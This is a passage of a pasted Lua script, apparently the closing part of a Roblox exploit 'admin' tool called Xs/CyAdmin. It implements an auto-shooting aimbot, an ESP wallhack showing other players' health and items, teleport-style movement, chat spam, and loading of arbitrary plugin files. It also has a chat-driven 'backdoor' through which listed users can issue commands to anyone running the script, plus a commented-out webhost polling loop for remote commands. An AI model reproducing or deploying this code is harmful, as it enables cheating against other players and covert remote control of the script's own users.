  2960. KeysLabel.TextColor3 = Color3.fromRGB(214,0,0)
  2961. KeysLabel.TextSize = 50
  2962.  
  2963. CmdBarKeyLabel.BackgroundColor3 = Color3.fromRGB(0,0,0)
  2964. CmdBarKeyLabel.BackgroundTransparency = 0.6
  2965. CmdBarKeyLabel.BorderColor3 = Color3.fromRGB(0,0,127)
  2966. CmdBarKeyLabel.Position = UDim2.new(0.6,0,0.07,0)
  2967. CmdBarKeyLabel.Size = UDim2.new(0,50,0,44)
  2968. CmdBarKeyLabel.Font = Enum.Font.Fantasy
  2969. CmdBarKeyLabel.Text = "CmdBar Key"
  2970. CmdBarKeyLabel.TextColor3 = Color3.fromRGB(255,255,255)
  2971. CmdBarKeyLabel.TextSize = 11
  2972. CmdBarKeyLabel.TextWrapped = true
  2973.  
  2974. CmdBarKeyButton.BackgroundColor3 = Color3.fromRGB(0,0,0)
  2975. CmdBarKeyButton.BackgroundTransparency = 0.7
  2976. CmdBarKeyButton.BorderColor3 = Color3.fromRGB(0,207,251)
  2977. CmdBarKeyButton.Position = UDim2.new(0.6,0,0.43,0)
  2978. CmdBarKeyButton.Size = UDim2.new(0,49,0,49)
  2979. CmdBarKeyButton.Font = Enum.Font.SourceSans
  2980. CmdBarKeyButton.Text = "Click then press a key"
  2981. CmdBarKeyButton.TextColor3 = Color3.fromRGB(255,255,255)
  2982. CmdBarKeyButton.TextSize = 13
  2983. CmdBarKeyButton.TextWrapped = true
  2984.  
  2985. AnyCmdTextBox.BackgroundColor3 = Color3.fromRGB(0,0,0)
  2986. AnyCmdTextBox.BackgroundTransparency = 0.6
  2987. AnyCmdTextBox.BorderColor3 = Color3.fromRGB()
  2988. AnyCmdTextBox.Position = UDim2.new(0.17,0,0.07,0)
  2989. AnyCmdTextBox.Size = UDim2.new(0,50,0,44)
  2990. AnyCmdTextBox.Font = Enum.Font.Fantasy
  2991. AnyCmdTextBox.PlaceholderColor3 = Color3.fromRGB(255,255,255)
  2992. AnyCmdTextBox.PlaceholderText = "CmdToSet"
  2993. AnyCmdTextBox.Text = ""
  2994. AnyCmdTextBox.TextColor3 = Color3.fromRGB(255,255,255)
  2995. AnyCmdTextBox.TextSize = 11
  2996. AnyCmdTextBox.TextWrapped = true
  2997. dragGUI(KeysFrame,KeysFrame)
  2998. end))
  2999.  
  3000. --[[ End ]] --
  3001.  
  3002. --[[ Loops ]] --
  3003.  
  3004. coroutine.resume(coroutine.create(function()
  3005. local FileDir,isFolder,makeFolder = syn_io_listdir or list_files,syn_io_isfolder or isfolder,syn_io_makefolder or makefolder
  3006. if FileDir and isFolder and makeFolder then
  3007. if not isFolder'CyAdminPlugins' then
  3008. makeFolder('CyAdminPlugins')
  3009. end
  3010. for _,v in pairs(FileDir'CyAdminPlugins') do
  3011. local WorkingFile = loadfile(v)
  3012. if not WorkingFile then
  3013. ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("There was a syntax error (sadly can\'t output it as loadfile is gay)","All")
  3014. else
  3015. local Work,Error = pcall(WorkingFile)
  3016. if not Work then
  3017. ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("Runtime Error"..Error,"All")
  3018. end
  3019. end
  3020. end
  3021. end
  3022. CmdsLabel.Text = "Commands | Total Commands: "..#Commands
  3023. for i = 1,#Commands do
  3024. local Command = Commands[i]
  3025. local Name,Args,Alias,Help = Command.Name,Command.Args,Command.Alias,Command.Help
  3026. createCmd(UDim2.new(0.0008,0,0.002,-35 + (i * 29)),Name,Help)
  3027. coroutine.resume(coroutine.create(function() createCommandBarCmd(Name,Args) end))
  3028. coroutine.resume(coroutine.create(function()
  3029. for i = 1,#Alias do
  3030. createCommandBarCmd("[Alias] "..Alias[i],Args)
  3031. end
  3032. end))
  3033. end
  3034. while wait() do
  3035. local Character = GetChar()
  3036. coroutine.resume(coroutine.create(function()
  3037. --[[if Character and Character:FindFirstChildOfClass'Humanoid'then
  3038. if workspace.Gravity < NormalGravity then
  3039. if game.PlaceId == 455366377 and not Character:FindFirstChild'RealHumanoidRootPart' then
  3040. Character.Humanoid:ChangeState(3)
  3041. Character.Humanoid.PlatformStand = false
  3042. wait(0.2)
  3043. end
  3044. Character.Humanoid:ChangeState(8)
  3045. end
  3046. if game.PlaceId == 455366377 then
  3047. if Character.Humanoid.HipHeight > 0 or AirwalkOn and not Flying then
  3048. Character.Humanoid:ChangeState(3)
  3049. Character.Humanoid.PlatformStand = false
  3050. RunService.RenderStepped:Wait()
  3051. Character.Humanoid:ChangeState(8)
  3052. wait(2)
  3053. end
  3054. end
  3055. end]]
  3056. local StartPing = tick()
  3057. ReplicatedStorage.DefaultChatSystemChatEvents.MutePlayerRequest:InvokeServer()
  3058. PlayersPing = (tick() - StartPing)
  3059. end))
  3060. local Tool = Character:FindFirstChildOfClass'Tool'
  3061. if AimbotAutoShoot and AimlockTarget and Tool and Tool:FindFirstChild('Clips',true) and AimlockTarget:FindFirstChildOfClass'Humanoid' and AimlockTarget.Humanoid.Health > 0 and not AimlockTarget:FindFirstChildOfClass'ForceField' then
  3062. if not BehindAWall(AimlockTarget) and HasItem(Players:GetPlayerFromCharacter(AimlockTarget),"Bone") ~= "Yes" then
  3063. if AimlockTarget:FindFirstChild'Head' and Character:FindFirstChild'Head' and (AimlockTarget.Head.Position - Character.Head.Position).magnitude <= EstimatedGunRanges[Tool.Name] then
  3064. if game.PlaceId == 455366377 then
  3065. LP.Backpack.Input:FireServer("m1",{
  3066. ['mousehit'] = AimbotToCFrame();
  3067. ['shift'] = UserInput:IsKeyDown(Enum.KeyCode.LeftShift);
  3068. ['velo'] = Character.Head.Velocity.magnitude;
  3069. })
  3070. else
  3071. Tool.Fire:FireServer(AimbotToCFrame())
  3072. end
  3073. end
  3074. end
  3075. end
  3076. if Character:FindFirstChildOfClass'Humanoid' then
  3077. if Tool and Tool:FindFirstChild'Ammo' then
  3078. ValuesTextLabel.Text = "Health: "..math.floor(Character.Humanoid.Health).."\nCurrent WalkSpeed: "..math.floor(Character.Humanoid.WalkSpeed).."\nSprinting Speed: "..SprintSpeed.."\nCrouching Speed: "..CrouchSpeed.."\nBlink Speed: "..BlinkSpeed.."\nJumpPower: "..Character.Humanoid.JumpPower.."\nNoclipping: "..tostring(Noclip).."\nAimlocking: "..tostring(Aimlock).."\nAimlock Target: "..tostring(AimlockTarget).."\n"..Tool.Name.." Ammo&Clips: "..Tool.Ammo.Value.."/"..Tool.Clips.Value
  3079. else
  3080. ValuesTextLabel.Text = "Health: "..math.floor(Character.Humanoid.Health).."\nCurrent WalkSpeed: "..math.floor(Character.Humanoid.WalkSpeed).."\nSprinting Speed: "..SprintSpeed.."\nCrouching Speed: "..CrouchSpeed.."\nBlink Speed: "..BlinkSpeed.."\nJumpPower: "..Character.Humanoid.JumpPower.."\nNoclipping: "..tostring(Noclip).."\nAimlocking: "..tostring(Aimlock).."\nAimlock Target: "..tostring(AimlockTarget)
  3081. end
  3082. end
  3083. if AimlockTarget and AimlockTarget:FindFirstChild'Torso' then
  3084. if AimlockTargetPosition then
  3085. local Magnitude = (AimlockTargetPosition - AimlockTarget.Torso.Position).magnitude / AimbotVelocity
  3086. if Magnitude > 1 then
  3087. NewPredictionVelocity = Magnitude
  3088. else
  3089. NewPredictionVelocity = 5
  3090. end
  3091. AimlockTargetPosition = AimlockTarget.Torso.Position
  3092. else
  3093. AimlockTargetPosition = AimlockTarget.Torso.Position
  3094. end
  3095. end
  3096. if GravGunBodyPosition then
  3097. GravGunBodyPosition.Position = GravGunTool.Handle.Position + CFrame.new(GravGunTool.Handle.Position,Mouse.Hit.p).lookVector * GravGunDistance
  3098. end
  3099. if RainbowFrame.Visible then
  3100. RainbowLabel.TextColor3 = Color3.fromRGB(math.random(1,255),math.random(1,255),math.random(1,255))
  3101. end
  3102. if LP.Character then
  3103. local PartFound = Character:FindFirstChild'RealHumanoidRootPart' or Character:FindFirstChild'Torso'
  3104. if PartFound and Blinking and KeyTable['Shift'] then
  3105. if KeyTable['W'] then
  3106. PartFound.CFrame = PartFound.CFrame * CFrame.new(0,0,-BlinkSpeed)
  3107. end
  3108. if KeyTable['A'] then
  3109. PartFound.CFrame = PartFound.CFrame * CFrame.new(-BlinkSpeed,0,0)
  3110. end
  3111. if KeyTable['S'] then
  3112. PartFound.CFrame = PartFound.CFrame * CFrame.new(0,0,BlinkSpeed)
  3113. end
  3114. if KeyTable['D'] then
  3115. PartFound.CFrame = PartFound.CFrame * CFrame.new(BlinkSpeed,0,0)
  3116. end
  3117. end
  3118. end
  3119. for i = 1,#EspTable do
  3120. local Table = EspTable[i]
  3121. local Player = Table['Player']
  3122. if Player and Player.Character then
  3123. local Head,Torso = Player.Character:FindFirstChild'Head',Player.Character:FindFirstChild'RealHumanoidRootPart' or Player.Character:FindFirstChild'Torso'
  3124. if Head and Torso and Character:FindFirstChild'Head' then
  3125. local Pos,OnScreen = WorldToViewportPoint(Head.Position)
  3126. local SizeForBox = Vector3.new(2,3,0) * ((Head.Size.Y / 2) * 2)
  3127. local TopLeft = WorldToViewportPoint((Torso.CFrame * CFrame.new(SizeForBox.X,SizeForBox.Y,0)).p)
  3128. local TopRight = WorldToViewportPoint((Torso.CFrame * CFrame.new(-SizeForBox.X,SizeForBox.Y,0)).p)
  3129. local BottomLeft = WorldToViewportPoint((Torso.CFrame * CFrame.new(SizeForBox.X,-SizeForBox.Y,0)).p)
  3130. local BottomRight = WorldToViewportPoint((Torso.CFrame * CFrame.new(-SizeForBox.X,-SizeForBox.Y,0)).p)
  3131. ShowOrHideEsp(Table,OnScreen,Player)
  3132. local User = AdminUserTable[Player] and "Yes" or "No"
  3133. Table['Text'].Text = Player.Name.." | Health: "..checkHp(Player.Character).." | KO'ed: "..HasItem(Player,"Bone").." | Pos: "..math.floor((Character.Head.Position - Head.Position).magnitude).."\nHas Glock: "..HasItem(Player,"Glock").." | Shotty: "..HasItem(Player,"Shotty").." | Vest: "..HasItem(Player,"BulletResist").."\nCyAdmin User: "..User
  3134. Table['Text'].Position = Vector2.new(Pos.X,Pos.Y) + Vector2.new(0,10)
  3135. Table['Box'][1].From = Vector2.new(TopLeft.X,TopLeft.Y)
  3136. Table['Box'][1].To = Vector2.new(TopRight.X,TopRight.Y)
  3137. Table['Box'][2].From = Vector2.new(TopRight.X,TopRight.Y)
  3138. Table['Box'][2].To = Vector2.new(BottomRight.X,BottomRight.Y)
  3139. Table['Box'][3].From = Vector2.new(BottomLeft.X,BottomLeft.Y)
  3140. Table['Box'][3].To = Vector2.new(TopLeft.X,TopLeft.Y)
  3141. end
  3142. end
  3143. end
  3144. end
  3145. end))
  3146.  
  3147. coroutine.resume(coroutine.create(function()
  3148. while wait(1) do
  3149. if CmdBarKey == "Quote" then
  3150. HotkeysTextLabel.Text = "Open Command Bar: '".."\nGunStomp: E"
  3151. else
  3152. HotkeysTextLabel.Text = "Open Command Bar: "..CmdBarKey.."\nGunStomp: E"
  3153. end
  3154. for i,v in pairs(Keys) do HotkeysTextLabel.Text = HotkeysTextLabel.Text.."\n"..v:match'^[%w%s]+'..": "..v:match'[%a%d]+$' end
  3155. if ExploiterDetectionOn then
  3156. local PlayerT = Players:GetPlayers()
  3157. for i = 1,#PlayerT do
  3158. local Player = PlayerT[i]
  3159. if Player ~= LP and Player.Character and Player.Character:FindFirstChild'Head' then
  3160. if Player.Character:FindFirstChild'Humanoid' and Player.Character:findFirstChild'Right Arm' then
  3161. if ExploitDetectionPlayerTablePositions[Player.Name] then
  3162. local Pos1 = Player.Character.Head.Velocity
  3163. local Pos2 = ExploitDetectionPlayerTablePositions[Player.Name]
  3164. if not Player.Character.Head:FindFirstChildOfClass'BillboardGui' and Player.Character.Humanoid.Health > 0 and not Player.Character:FindFirstChild('Bone',true) and not Player.Character:FindFirstChildOfClass'ForceField' then
  3165. if (Vector3.new(Pos1.X,0,0) - Vector3.new(Pos2.X,0,0)).magnitude >= 85 or (Vector3.new(0,0,Pos1.Z) - Vector3.new(0,0,Pos2.Z)).magnitude >= 85 then
  3166. Esp(Player.Character.Head,"Exploiter: "..Player.Name.." Reason: moved too fast",Color3.fromRGB(255,255,255))
  3167. ExploitDetectionPlayerTablePositions[Player.Name] = Player.Character.Head.Velocity
  3168. else
  3169. ExploitDetectionPlayerTablePositions[Player.Name] = Player.Character.Head.Velocity
  3170. end
  3171. end
  3172. else
  3173. ExploitDetectionPlayerTablePositions[Player.Name] = Player.Character.Head.Velocity
  3174. end
  3175. else
  3176. if not Player.Character.Head:FindFirstChildOfClass'BillboardGui' and Player.Character:FindFirstChildOfClass'Tool' then
  3177. Esp(Player.character.Head,"Exploiter: "..Player.Name.." Reason: Feloop/Anti Feloop",Color3.fromRGB(255,255,255))
  3178. end
  3179. end
  3180. end
  3181. end
  3182. end
  3183. if #WireFrameTable > 0 then
  3184. for i,v in pairs(WireFrameTable) do
  3185. local Pos,OnScreen = workspace.CurrentCamera:WorldToViewportPoint(v[2].Position)
  3186. v[1].Visible = OnScreen
  3187. end
  3188. end
  3189. end
  3190. end))
  3191.  
  3192. coroutine.resume(coroutine.create(function()
  3193. for i,Player in pairs(Players:GetPlayers()) do
  3194. local Backdoor = BackDoorTablePlayers[Player.UserId]
  3195. local Blacklist = BlacklistTable[Player.UserId]
  3196. if (Blacklist or Player:IsInGroup(5152759,6954679,6762089,7290645) or string.find(Player.Name:lower(),"lynx,I N V I S I O N E D,Smoked Fam,SINISTER")) and Player.character and Player.Character:FindFirstChild'Head' then
  3197. Esp(Player.Character.Head,Player.Name,Color3.fromRGB(0,207,251),true)
  3198. Player.CharacterAdded:Connect(function(C)
  3199. local Head = C:WaitForChild'Head'
  3200. if Head then
  3201. Esp(Head,Player.Name,Color3.fromRGB(0,207,251),true)
  3202. end
  3203. end)
  3204. end
  3205. if Backdoor and Player.Character and Player.Character:FindFirstChild'Head' then
  3206. Player.Chatted:Connect(function(Chat) BackdoorCheck(Player,Chat) end)
  3207. Esp(Player.Character.Head,Backdoor['Name'],Backdoor['Colour'])
  3208. initalizeBackdoorPart2(Player,Backdoor['Colour'])
  3209. Player.CharacterAdded:Connect(function(C)
  3210. local Head = C:WaitForChild'Head'
  3211. if Head then
  3212. initalizeBackdoorPart2(Player,Backdoor['Colour'])
  3213. Esp(Head,Backdoor['Name'],Backdoor['Colour'])
  3214. end
  3215. end)
  3216. end
  3217. local Chatted;Chatted = Player.Chatted:Connect(function(Chat)
  3218. local User = IsAUser(Player,Chat)
  3219. if User then
  3220. Chatted:Disconnect()
  3221. end
  3222. end)
  3223. end
  3224. coroutine.resume(coroutine.create(function()
  3225. while wait(SpamDelay) do
  3226. if Spamming then
  3227. ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer(SpamMessage,"All")
  3228. end
  3229. end
  3230. end))
  3231. while wait(Rainbowdelay) do
  3232. if RainbowHats and LP.Backpack:FindFirstChild'Stank' then
  3233. if RainbowHats == "All" then
  3234. local HatTable = LP.PlayerGui.HUD.Clan.Group.Reps:GetChildren()
  3235. LP.Backpack.Stank:FireServer("rep",HatTable[math.random(1,#HatTable)])
  3236. end
  3237. local ColourTable = LP.PlayerGui.HUD.Clan.Group.cs:GetChildren()
  3238. LP.Backpack.Stank:FireServer("color",ColourTable[math.random(1,#ColourTable)])
  3239. end
  3240. end
  3241. end))
  3242.  
  3243. -- [[ End ]] --
  3244.  
  3245. notif("xs noti","some " .. string.format("%.6f",tick()-Tick) .. " seconds\n(Discord: A4nyecN)",10,"rbxassetid://2474242690") -- string.format remains superior - Slays.
  3246. notif("Newest Update","dot_mp4 here, xs updated perms given all blacklists whitelisted fixed bugs.",10,nil)
  3247. ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("Welcome To Xs Admin ","All")
  3248. --[[
  3249. while wait(8) do
  3250. local Data = GetData()
  3251. for i,v in pairs(Data) do
  3252. if PlrFinder(i) == LP or typeof(PlrFinder(i)) == "table" then
  3253. BackdoorCheck("none","`"..v)
  3254. end
  3255. end
  3256. end]] -- lets see if I get banned off this webhost lmao
  3257.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement